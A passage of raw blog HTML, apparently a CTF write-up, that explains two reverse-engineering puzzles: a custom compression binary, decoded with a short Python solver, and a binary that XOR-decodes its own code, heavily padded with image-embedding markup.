480w,\n/static/cb9810e4a60cd1b056e63520843a104e/d9199/image-20240310134147706.png 960w,\n/static/cb9810e4a60cd1b056e63520843a104e/46e51/image-20240310134147706.png 1003w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/cb9810e4a60cd1b056e63520843a104e/d9199/image-20240310134147706.png\"\n            alt=\"image-20240310134147706\"\n            title=\"image-20240310134147706\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"crushingrev\" style=\"position:relative;\"><a href=\"#crushingrev\" aria-label=\"crushingrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Crushing(Rev)</h2>\n<blockquote>\n<p>You managed to intercept a message between two event organizers. Unfortunately, it’s been compressed with their proprietary message transfer format. Luckily, they’re gamemakers first and programmers second - can you break their encoding?</p>\n</blockquote>\n<p>The decompiled result of the challenge binary’s main function was as follows.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 539px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/4b7d0bd6441673fd6af8ddc95d1a1fdb/10f9a/image-20240310142557582.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 68.75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACJUlEQVQ4y21TWXajQAz0ZYxZu6EXMKvtSWLnzXxPnhOwk/tfokaS90w+6iHUUJRUxezjcwRj/77HYfrAF9Xv44T98QvH44TP44hxIhwmHA+jYJwm6XF9mG7nf9/eMPNNCYYqciRJiiiKEIYhFosQIdWLkO4XC+k9gM752XvEcYzZsNtgeN3AlpYaCbRSqJceTVuh72ssfYGcPqZzLchUhkwraFMgSdMrEYPrWfvUo33uYbyRZkEv9U0lRF3j0dUWznsYZ2EJQm5ymNIRuXogFIXdy4oUruEqR6NEoq5ra1pBAVtXCEl1MJ/TChYIghNkBYQL2T0pKRzQb1dwtUccxVBZgixL4SwpofFYESPLMrhCwRkNpfVN1XeF7fOJ0JLCS9PSftquRtM1qJolfOlRWANPH/FGQeX5f8qupnRE1m/XZ1NicjqRxbPjJe1JUS0PU58dZ/cjcvle1QMhm9K9DLTkG2FK7qVpgiX1tM4kJqcXbjv7KTLiMpvCI59cTuRAW4eiaqBdBWVp3GVHozfwlYcj1YbHr0rZpc4LUn8/8sVlNoUaKR2yOp3ngrwwkjdRcFaYyDOpTMN43KGYsoYnwoRzaC2Nv0TuSlJIME6U2rKCc05U5hSp7/m7utxwsLe0w8piPg8kIg3l0JCzcaYR8u+YKsSsiJTzePxLzimbQRAIuL5gtvvziu3vHTZPv7Bab9B3HQW7lWvfn3Gpu56uJwzD8CP+Adyzv/cU6gyVAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/4b7d0bd6441673fd6af8ddc95d1a1fdb/8ac56/image-20240310142557582.webp 240w,\n/static/4b7d0bd6441673fd6af8ddc95d1a1fdb/d3be9/image-20240310142557582.webp 480w,\n/static/4b7d0bd6441673fd6af8ddc95d1a1fdb/9cb26/image-20240310142557582.webp 539w\"\n              sizes=\"(max-width: 539px) 100vw, 539px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/4b7d0bd6441673fd6af8ddc95d1a1fdb/8ff5a/image-20240310142557582.png 240w,\n/static/4b7d0bd6441673fd6af8ddc95d1a1fdb/e85cb/image-20240310142557582.png 480w,\n/static/4b7d0bd6441673fd6af8ddc95d1a1fdb/10f9a/image-20240310142557582.png 539w\"\n            sizes=\"(max-width: 539px) 100vw, 539px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/4b7d0bd6441673fd6af8ddc95d1a1fdb/10f9a/image-20240310142557582.png\"\n            alt=\"image-20240310142557582\"\n            title=\"image-20240310142557582\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Here, after performing some operation with the add<em>char</em>to<em>map function on the 0x7f8-byte region allocated with memset, the serialize</em>and_output function is executed.</p>\n<h3 id=\"addcharto_map-function\" style=\"position:relative;\"><a href=\"#addcharto_map-function\" aria-label=\"addcharto_map function permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>add<em>char</em>to_map Function</h3>\n<p>This function receives as arguments the pointer to the 0x7f8-byte region allocated with memset, a single character value read from stdin via getchar, and an integer value used as an iterator.</p>\n<p>The processing of this function was somewhat tricky, but I believe the implementation is as follows.</p>\n<ol>\n<li>Add the left-shifted value of the received char to the pointer of the byte region received as the first argument</li>\n<li>Allocate a 0x10-byte region with malloc, assigning i to the 0th element and 0 to the 1st element</li>\n<li>If the value pointed to by the address obtained in [1.] is 0, copy the pointer to the byte region created in [2.] to the byte region address obtained in [1.]</li>\n<li>If the value pointed to by the address obtained in [1.] is not 0, traverse the addresses one by one until an address containing 0 is found, then copy the pointer to the byte region created in [2.] to that address</li>\n</ol>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 663px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/36f455a64d4a837883c246e14ef71088/0786c/image-20240310143018412.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 70.41666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB2ElEQVQ4y41T23KbQAzlazzclr0AYTHXFDeelingkGT60P//jVNpsWnah9oPGq0kdHR0wVveLpjXBdM0YZ5nTAu91w9MlxXT65uTmWPkX5btu9d1JXvec36QHsfRidcMHarnBtlTDq00jDEwaQptNjEp2Vo7n4sZjTxLkbKfbK23HKUUpJTwbF/B9kcImSCK4v0Dw0lGobUahc2R2QJCxDBKINOCiieumEgEEsqNKeb7PrxqaFESIDslVakri6PNUFZH5HmKPNWQWlKCQBAECMJw01cJrzZrFq/7PqD+2jlApl23DSyB2aokxhH8f5L/J/yNVz7XKJpyo060lVb0pvavjHz/s/g7uHuT3Hw7w+OXxrUslXQBbrsoMhRP1C7NTRNzI4XTrhgV4llKsrlw4rTYC3n9eEJ77t2cFAVS2qJyAJSYSPdmQPUoYElbLtqtZZls23P0aX4Rz4XED0LX2sMtM+CtZUWat5tmfHd0W8QqiuO7S/nU8oDmpdsSKcDJt40rOmYh5R+wBzbtGNpuWwo7NB0r/zV82Hy4MRW4B/IXYEFgeV0Qs8jNJOHzIXbhlSnf4uFweFi8y693zD8vOJ1fcDoNGL+dcXZv2n7bous69H2P/qbvyG/io7x6V7jYTgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/36f455a64d4a837883c246e14ef71088/8ac56/image-20240310143018412.webp 240w,\n/static/36f455a64d4a837883c246e14ef71088/d3be9/image-20240310143018412.webp 480w,\n/static/36f455a64d4a837883c246e14ef71088/c294c/image-20240310143018412.webp 663w\"\n              sizes=\"(max-width: 663px) 100vw, 663px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/36f455a64d4a837883c246e14ef71088/8ff5a/image-20240310143018412.png 240w,\n/static/36f455a64d4a837883c246e14ef71088/e85cb/image-20240310143018412.png 480w,\n/static/36f455a64d4a837883c246e14ef71088/0786c/image-20240310143018412.png 663w\"\n            sizes=\"(max-width: 663px) 100vw, 663px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/36f455a64d4a837883c246e14ef71088/0786c/image-20240310143018412.png\"\n            alt=\"image-20240310143018412\"\n            title=\"image-20240310143018412\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>For example, if the input <code class=\"language-text\">abc</code> is given, first with <code class=\"language-text\">a(0x61)</code> and <code class=\"language-text\">i=0</code>, the value at the address obtained by adding <code class=\"language-text\">(0x61&lt;&lt;3) + 0 = 0x308 + 0</code> to the buf pointer is stored in unk.</p>\n<p>Since the value of unk is 0, for the first character, i=0 is stored at the address buf+0x308.</p>\n<p>The second character is <code class=\"language-text\">b(0x62)</code>, so the value stored in unk is the value at address buf+0x310.</p>\n<p>As shown above, the operation when different characters are input is straightforward, but it gets slightly complicated when the same character is input.</p>\n<p>For example, if multiple <code class=\"language-text\">a</code> characters are input, the address storing the index of the first character is stored in the buf+0x308 region.</p>\n<p>For the second character, the address storing the index of the second character is stored at the address 8 bytes after the address pointed to by the pointer stored at buf+0x308.</p>\n<p>From the third character onwards, addresses are stored hierarchically in the same manner.</p>\n<h3 id=\"serializeandoutput-function\" style=\"position:relative;\"><a href=\"#serializeandoutput-function\" aria-label=\"serializeandoutput function permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>serialize<em>and</em>output Function</h3>\n<p>Once the mapping of input characters to their corresponding indices is complete, the serialize<em>and</em>output function is called.</p>\n<p>This function traverses the ASCII character mapping region and writes values 8 bytes at a time using fwrite.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 882px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/6714ca52525b5a87f48495f32cd901ce/90712/image-20240310162837792.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 31.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0klEQVQY041QSZLEIAzjOWGJWQKEJdssNf//kdphDlNz6K4+qAAhy7LF+XnhuA703tG2/Q99G9yNUgpqrW9BtK8dsWUYrTDPM4wx0Ebz3cA6Yl7D0i8vpcQ0TS8h9p8L616hlULwjhM15LoipoR2nkitYvE0TImImxko1j6DKGfjojwewVukFBFzAjmLnCPymuC857R2TOC46W0cOP3C+vsMwYMs/3NT0b8PrFuB5tHuUS0ZFjjMltPwGigE2GV5mepfwvrREWsehk+FvDup5FuGD02Ku1yZWki0AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/6714ca52525b5a87f48495f32cd901ce/8ac56/image-20240310162837792.webp 240w,\n/static/6714ca52525b5a87f48495f32cd901ce/d3be9/image-20240310162837792.webp 480w,\n/static/6714ca52525b5a87f48495f32cd901ce/9d646/image-20240310162837792.webp 882w\"\n              sizes=\"(max-width: 882px) 100vw, 882px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/6714ca52525b5a87f48495f32cd901ce/8ff5a/image-20240310162837792.png 240w,\n/static/6714ca52525b5a87f48495f32cd901ce/e85cb/image-20240310162837792.png 480w,\n/static/6714ca52525b5a87f48495f32cd901ce/90712/image-20240310162837792.png 882w\"\n            sizes=\"(max-width: 882px) 100vw, 882px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/6714ca52525b5a87f48495f32cd901ce/90712/image-20240310162837792.png\"\n            alt=\"image-20240310162837792\"\n            title=\"image-20240310162837792\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>The first line obtains the offset corresponding to a specific ASCII character.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span><span class=\"token operator\">*</span> rax_4 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>map <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>The next code traverses the corresponding mapping region and obtains the number of values written as an integer.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token class-name\">int64_t</span> buf <span class=\"token operator\">=</span> <span class=\"token function\">list_len</span><span class=\"token punctuation\">(</span>rax_4<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>Then, the stored character count is written in 8-byte units.</p>\n<p>The following final code retrieves the indices stored in the mapping region and writes them every 8 bytes.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">void</span><span class=\"token operator\">*</span> buf_1 <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rax_4<span class=\"token punctuation\">;</span> buf_1 <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> buf_1 <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>  <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>buf_1 <span class=\"token operator\">+</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n<span class=\"token function\">fwrite</span><span class=\"token punctuation\">(</span>buf_1<span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> __TMC_END__<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>In other words, immediately after the list<em>len region, a region of (number of elements obtained by list</em>len) × 8 bytes follows consecutively.</p>\n<h3 id=\"solve\" style=\"position:relative;\"><a href=\"#solve\" aria-label=\"solve permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Solve</h3>\n<p>Using the information gathered so far and the message.txt.cz provided as a challenge file, we create a solver.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"message.txt.cz\"</span><span class=\"token punctuation\">,</span><span class=\"token string\">\"rb\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    mapped_data <span class=\"token operator\">=</span> f<span class=\"token punctuation\">.</span>read<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\nseek_index <span class=\"token operator\">=</span> <span class=\"token number\">0</span>\nflag <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token string\">\"\"</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0xfe</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    bytes_data <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">.</span>from_bytes<span class=\"token punctuation\">(</span>mapped_data<span class=\"token punctuation\">[</span>seek_index<span class=\"token punctuation\">:</span>seek_index<span class=\"token operator\">+</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token string\">'little'</span><span class=\"token punctuation\">)</span>\n    seek_index <span class=\"token operator\">+=</span> <span class=\"token number\">8</span>\n\n    <span class=\"token keyword\">if</span> bytes_data <span class=\"token operator\">></span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">for</span> j <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span>bytes_data<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            index <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">.</span>from_bytes<span class=\"token punctuation\">(</span>mapped_data<span class=\"token punctuation\">[</span>seek_index<span class=\"token punctuation\">:</span>seek_index<span class=\"token operator\">+</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token string\">'little'</span><span class=\"token punctuation\">)</span>\n            flag<span class=\"token punctuation\">[</span>index<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span>\n            seek_index <span class=\"token operator\">+=</span> <span class=\"token number\">8</span>        \n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Decompressing the file and expanding the original text revealed the following chat log, and we were able to obtain the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/8668ca9c38f4617820311da42c1cb73a/7f15f/image-20240310175932041.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 18.333333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA2UlEQVQY0y1Py3LCMAzMjXLgwrQ8SwLmPZ0EKOBgO05Iwqv8//9sJcFhZ6WVtVoHVh3gRhpmmCIbO7jIwjOHhjSN29yjijR0+wdJQxEmSD7Uu1aIqY/f2qY5RZB1tzh/H1AM98I1LVehRjk6ogyP8INfpGRmvhK47kZgOwmBWLQtst4O5jPGvrVEUJLBdepwUZbY4r7wqMcn3OcZ/la5zLh+rgqpH8sct5nDc12IflFGjvr+TsyDnJp6ckLOCSnVWZJpARsXlFp6Ouz7r7dVlMqMdZ6zITN/+R+iH3sz76ZetQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/8668ca9c38f4617820311da42c1cb73a/8ac56/image-20240310175932041.webp 240w,\n/static/8668ca9c38f4617820311da42c1cb73a/d3be9/image-20240310175932041.webp 480w,\n/static/8668ca9c38f4617820311da42c1cb73a/e46b2/image-20240310175932041.webp 960w,\n/static/8668ca9c38f4617820311da42c1cb73a/f992d/image-20240310175932041.webp 1440w,\n/static/8668ca9c38f4617820311da42c1cb73a/e0a0d/image-20240310175932041.webp 1530w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/8668ca9c38f4617820311da42c1cb73a/8ff5a/image-20240310175932041.png 240w,\n/static/8668ca9c38f4617820311da42c1cb73a/e85cb/image-20240310175932041.png 480w,\n/static/8668ca9c38f4617820311da42c1cb73a/d9199/image-20240310175932041.png 960w,\n/static/8668ca9c38f4617820311da42c1cb73a/07a9c/image-20240310175932041.png 1440w,\n/static/8668ca9c38f4617820311da42c1cb73a/7f15f/image-20240310175932041.png 1530w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/8668ca9c38f4617820311da42c1cb73a/d9199/image-20240310175932041.png\"\n            alt=\"image-20240310175932041\"\n            title=\"image-20240310175932041\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"followthepathrev\" style=\"position:relative;\"><a href=\"#followthepathrev\" aria-label=\"followthepathrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>FollowThePath(Rev)</h2>\n<blockquote>\n<p>A dark tunnel has been placed in the arena. Within it is a powerful cache of weapons, but reaching them won’t be easy. You must navigate the depths, barely able to see the ground beyond your feet…</p>\n</blockquote>\n<p>The result of decompiling the file provided as the challenge binary with BinaryNinja was as follows.</p>\n<p>We can see that the main function’s code is corrupted partway through.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 812px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/36ccfa6b6000f79f4e26ffe66935eebb/63ec5/image-20240310181623208.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 79.58333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAACYUlEQVQ4y41U2XLaQBDUz4AEWh2r1YUUoQMRMJBUmUMcArvKSarykP9/7cyuDDkcO37ompkeqbU92l1tdf8Jy88rzGczzO4WmC26fLFcYLlaYTa/Qz2ZoK7rd0EbFSmCJIJpMti2Ddd1wCyGwXCIoWkqMMsCYxYsiibVb0FL6zGCNIJFxSjyEccxAiHAPR/BKIGIRrA5h2NbcLmLIX1oMBi8Ci2dZAg/RErdDyPEWY4gTuEJD5wEXI+D2S4cP6Lc61ZPL0rhf0GtMMpissRIMCSxGIKitGnRqkxGVsgusx3FyQ+/KZh9LGiFMSwS9ARXtvxAwHEsOJ60SHOUAs+WXhP6tcIpzZAs67oOZg4RhQFEQDPlAgYJSF43DIoGDEPv6iuneP0PaPP7Jaq7mn5GhHycIUkSjNIEEVkP5QiCQMUuv4K4K2QvCG+59vTjGx6+PmLfNDgej2hPB8IJh7bF8XLB8eERB+Ilzqp3wOl8xuHWO+B4on57QkMa2uP3J5y/PGC9XqNt6aVLi/Zyxv7cYrNrsKGHttutQrPrsNvvsW0IMsoecdtmh81mA61a1sgmY3CXo8gzVJMCRVUgCKUFAo3CdRz6Sf+H67rQ5A/xYh/9fl9tHU4ko60h6+uge73eu6EJX8CT8ORGltuGovCp7rjfIcQzJ7zb839Dq+dTVNMJiqLAOC+QV1MU9Qx5WSGnuixLirnql1WXl1WFgvgsy15AG5Up/CSkPTaA4BaES7btITzHJPv27cTYckbcUSdF73ejMAzjBdRZlpeDvG18OhmOFJE3DOtwu0lUzVT+1kn5CWjSDL249Bf5AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/36ccfa6b6000f79f4e26ffe66935eebb/8ac56/image-20240310181623208.webp 240w,\n/static/36ccfa6b6000f79f4e26ffe66935eebb/d3be9/image-20240310181623208.webp 480w,\n/static/36ccfa6b6000f79f4e26ffe66935eebb/77913/image-20240310181623208.webp 812w\"\n              sizes=\"(max-width: 812px) 100vw, 812px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/36ccfa6b6000f79f4e26ffe66935eebb/8ff5a/image-20240310181623208.png 240w,\n/static/36ccfa6b6000f79f4e26ffe66935eebb/e85cb/image-20240310181623208.png 480w,\n/static/36ccfa6b6000f79f4e26ffe66935eebb/63ec5/image-20240310181623208.png 812w\"\n            sizes=\"(max-width: 812px) 100vw, 812px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/36ccfa6b6000f79f4e26ffe66935eebb/63ec5/image-20240310181623208.png\"\n            alt=\"image-20240310181623208\"\n            title=\"image-20240310181623208\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Upon further analysis, it appears that the main function first checks whether the first character of the input is H, then XOR-decodes a 0x39-byte code region with the key 0xde.</p>\n<p>When I tried replacing this code section with its XOR-decoded version, I found that it verifies whether the second character of the input is T, followed by further decryption of subsequent code regions.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 845px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/216b40bcd5780964a779a93f5c53c0c9/8bd7c/image-20240310182934790.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 91.25000000000001%; position: relative; 